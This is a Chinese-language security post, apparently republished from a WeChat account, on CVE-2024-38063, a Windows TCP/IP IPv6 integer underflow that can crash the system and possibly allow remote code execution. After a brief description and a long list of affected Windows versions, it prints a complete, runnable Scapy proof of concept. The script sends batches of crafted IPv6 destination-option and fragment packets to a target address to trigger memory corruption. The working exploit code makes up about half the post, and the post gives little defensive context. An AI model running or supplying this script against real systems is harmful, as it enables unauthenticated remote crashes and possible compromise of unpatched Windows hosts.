漏洞简述
Windows TCP/IP 组件中发现了一个整数下溢漏洞，可能会触发缓冲区溢出。未经身份验证的远程攻击者可以通过发送特制的 IPv6 数据包到目标Windows系统机器导致目标蓝屏崩溃，精心构造请求理论上存在远程代码执行的可能性。该漏洞影响了所有受 IPv6 支持的 Windows 版本，包括即将发布的 Windows 11 版本 24H2。禁用 IPv6 的系统不受此漏洞的影响，但对于启用 IPv6 的系统，存在很大的利用风险。
影响版本
Windows 11 Version 24H2 for x64-based SystemsWindows 11 Version 24H2 for ARM64-based SystemsWindows Server 2012 R2 (Server Core installation)Windows Server 2012 R2Windows Server 2012 (Server Core installation)Windows Server 2012Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)Windows Server 2008 for x64-based Systems Service Pack 2Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)Windows Server 2008 for 32-bit Systems Service Pack 2Windows Server 2016 (Server Core installation)Windows Server 2016Windows 10 Version 1607 for x64-based SystemsWindows 10 Version 1607 for 32-bit SystemsWindows 10 for x64-based SystemsWindows 10 for 32-bit SystemsWindows Server 2022, 23H2 Edition (Server Core installation)Windows 11 Version 23H2 for x64-based SystemsWindows 11 Version 23H2 for ARM64-based SystemsWindows 10 Version 22H2 for 32-bit SystemsWindows 10 Version 22H2 for ARM64-based SystemsWindows 10 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for x64-based SystemsWindows 11 Version 22H2 for ARM64-based SystemsWindows 10 Version 21H2 for x64-based SystemsWindows 10 Version 21H2 for ARM64-based SystemsWindows 10 Version 21H2 for 32-bit SystemsWindows 11 version 21H2 for ARM64-based SystemsWindows 11 version 21H2 for x64-based SystemsWindows Server 2022 (Server Core installation)Windows Server 2022Windows Server 2019 (Server Core installation)Windows Server 2019Windows 10 Version 1809 for ARM64-based SystemsWindows 10 Version 1809 for x64-based SystemsWindows 10 Version 1809 for 32-bit Systems
最新POC
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
time.sleep(1)
print("")
原文始发于微信公众号（7coinSec）：『POC』CVE-2024-38063(Windows TCP/IP IPv6远程拒绝服务/代码执行漏洞)
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